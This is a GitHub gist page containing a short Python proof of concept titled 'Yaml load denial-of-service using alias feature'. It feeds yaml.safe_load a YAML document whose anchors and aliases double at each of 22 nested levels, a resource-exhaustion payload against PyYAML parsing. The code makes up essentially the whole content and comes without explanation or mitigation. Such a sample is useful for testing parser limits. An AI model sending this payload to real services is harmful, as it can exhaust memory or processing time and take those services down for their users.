Created
January 12, 2015 06:07
-
-
Save tahajahangir/c079bf554786b7a68310 to your computer and use it in GitHub Desktop.
Yaml load denial-of-service using alias feature
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import yaml | |
yaml.safe_load(""" | |
- &a '1' | |
- &b [*a,*a] | |
- &c [*b,*b] | |
- &d [*c,*c] | |
- &e [*d,*d] | |
- &f [*e,*e] | |
- &g [*f,*f] | |
- &h [*g,*g] | |
- &i [*h,*h] | |
- &j [*i,*i] | |
- &k [*j,*j] | |
- &l [*k,*k] | |
- &m [*l,*l] | |
- &n [*m,*m] | |
- &o [*n,*n] | |
- &p [*o,*o] | |
- &q [*p,*p] | |
- &r [*q,*q] | |
- &s [*r,*r] | |
- &t [*s,*s] | |
- &u [*t,*t] | |
- &v [*u,*u] | |
""") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment